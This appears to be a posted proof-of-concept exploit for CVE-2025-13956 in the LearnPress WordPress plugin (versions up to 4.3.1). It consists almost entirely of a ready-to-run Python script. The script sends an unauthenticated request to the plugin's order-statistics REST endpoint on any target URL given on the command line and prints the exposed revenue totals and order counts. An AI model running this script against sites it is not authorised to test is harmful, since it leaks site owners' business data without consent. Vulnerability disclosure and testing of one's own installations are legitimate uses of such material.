CVE-2025-13956 | LearnPress WordPress LMS 插件未授权访问漏洞

import requests import json # CVE-2025-13956 PoC - LearnPress Unauthenticated Statistics Access # Target: WordPress site with LearnPress plugin <= 4.3.1 def exploit_learnpress_cve_2025_13956(target_url): """ Exploit for CVE-2025-13956: LearnPress Unauthenticated Access to Order Statistics This vulnerability allows unauthenticated attackers to view plugin's orders statistics, including total revenue summaries and order status counts via REST API endpoint. CVSS: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N """ # Target REST API endpoint endpoint = "/wp-json/learnpress/v1/orders/statistic" url = target_url.rstrip('/') + endpoint print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2025-13956...") try: # Send unauthenticated GET request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] SUCCESS: Unauthenticated access to statistics!") print(f"[+] Response Data:") print(json.dumps(data, indent=2)) # Extract sensitive statistics if 'revenue' in data: print(f"\n[!] Total Revenue Exposed: {data.get('revenue')}") if 'order_counts' in data: print(f"[!] Order Counts Exposed: {data.get('order_counts')}") return data else: print(f"[-] Failed: Status {response.status_code}") print(f"[-] Response: {response.text[:500]}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_13956.py <target_url>") print("Example: python cve_2025_13956.py https://example.com") sys.exit(1) target = sys.argv[1] exploit_learnpress_cve_2025_13956(target)